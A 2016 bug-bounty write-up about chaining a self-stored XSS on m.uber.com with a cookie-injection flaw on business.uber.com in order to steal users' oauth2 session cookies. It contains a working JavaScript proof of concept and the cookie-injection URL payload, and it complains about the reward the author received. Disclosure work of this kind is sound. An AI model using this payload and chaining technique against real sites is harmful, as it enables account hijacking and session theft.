Monday 29 August 2016

Turning Self-XSS into Good XSS v2: Challenge Completed but Not Rewarded

This appears to be the issue which I was digging for the most time during my bugbounty experience, it took more than two months to find a perfect solution for a problem.

TL;DR
I found Self-XSS on m.uber.com in late March 2016, and inspired by Jack's post I didn't give up, aiming to find a way to turn it to Good-XSS.
Finally, I found arbitrary cookie install vulnerability on business.uber.com, which allowed to install arbitrary cookies for *.uber.com for Safari users.
Chaining two bugs together could lead to Good XSS on m.uber.com, and allowed to steal oauth2 cookie of any logged-in user.
Another bughunter reported Self-XSS on the same domain while Uber team was resolving my issue, which resulted a fix of Self-XSS and refusal of appropriate reward.

Chaining bugs.
Step 1: Self-XSS
Self-Stored XSS on m.uber.com launches on index page when user simply logges in. My way to add XSS into profile was by modifying existing business profile name via mobile application. As it appeared later, there was another way to do that.



Step 2: Arbitrary cookie installation
Surprisingly, user can be authenticated on m.uber.com by only presenting COOKIE "token", apart from (riders|login|partners|anything).uber.com, which needs another COOKIE - oauth2. Hence, if it is somehow possible to login victim user into our account with Self Stored XSS, it is possible to steal oauth2 cookie of a real user (since it is scoped to *.uber.com) and perform any other malicious actions.

Arbitrary cookie install vulnerability was very lucky to find on page https://business.uber.com/new/confirm/[exploit-here], and is based on the fact that user input comes into server's response, directly into Cookie header and is not properly sanitized. Hence it was possible to install various cookies for any *.uber.com subdomain (original research here):
https://business.uber.com/new/confirm/test;,arbitrary=cookie;domain=.uber.com



Combining these two minor vulnerabilities, we can attack any external user: first login victim into account with Self-XSS, and then trigger XSS against him.

PoC exploit code:
<script>
function exploit() {
        setTimeout(function() {
                var s1 = new XMLHttpRequest(); // first request is necessary for exploitation
                s1.open('GET', 'https://m.uber.com/', false);
                s1.send(null);

                document.location.href='https://m.uber.com/'; // now redirecting to page
        }, 3000);
}
</script>

<body onload="exploit()">
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://business.uber.com/new/confirm/test;,token=XXXXXXXXXXXXXXX;domain=.uber.com', false); // insert your token here
xmlhttp.send(null);
</script>

Good news (it works!):
My exploit was working since late March, and was also working at the time of my report to Uber (May 9):


 
Bad news:
I provided all evidence that Self-XSS was found by me some time before it was reported by another researcher.
Unlikely, Self-XSS was silently patched several hours after I reported the issue through Hackerone, and I received `We're having some trouble reproducing your proof of concept <...> Thanks again and good luck in your future bug hunting.` message from triage team.
After involving Hackerone team into discussion, I got rewarded for 1000$ for arbitrary cookie installation, instead of 5k+ (Stored XSS with ability to steal sensitive COOKIE data).

Takeaway:
Never stop trying to elevate found vulnerabilities, and please don't report non-security issues out-of-scope for having only +7 of reputation, when you have a feeling that the vulnerability is potentially exploitable under higher privileges. Otherwise you will be literally killing someone's bounty - and what is worse, you will never improve.

2 comments:

  1. Nice! I think it's closer to reflected XSS than stored in terms of risk though as it involves visiting a malicious external page.

    ReplyDelete
  2. Ughhhhh, I wish I can find a cookies installation in any subdomain of uber, so that I can chain it to steal oauth token....

    ReplyDelete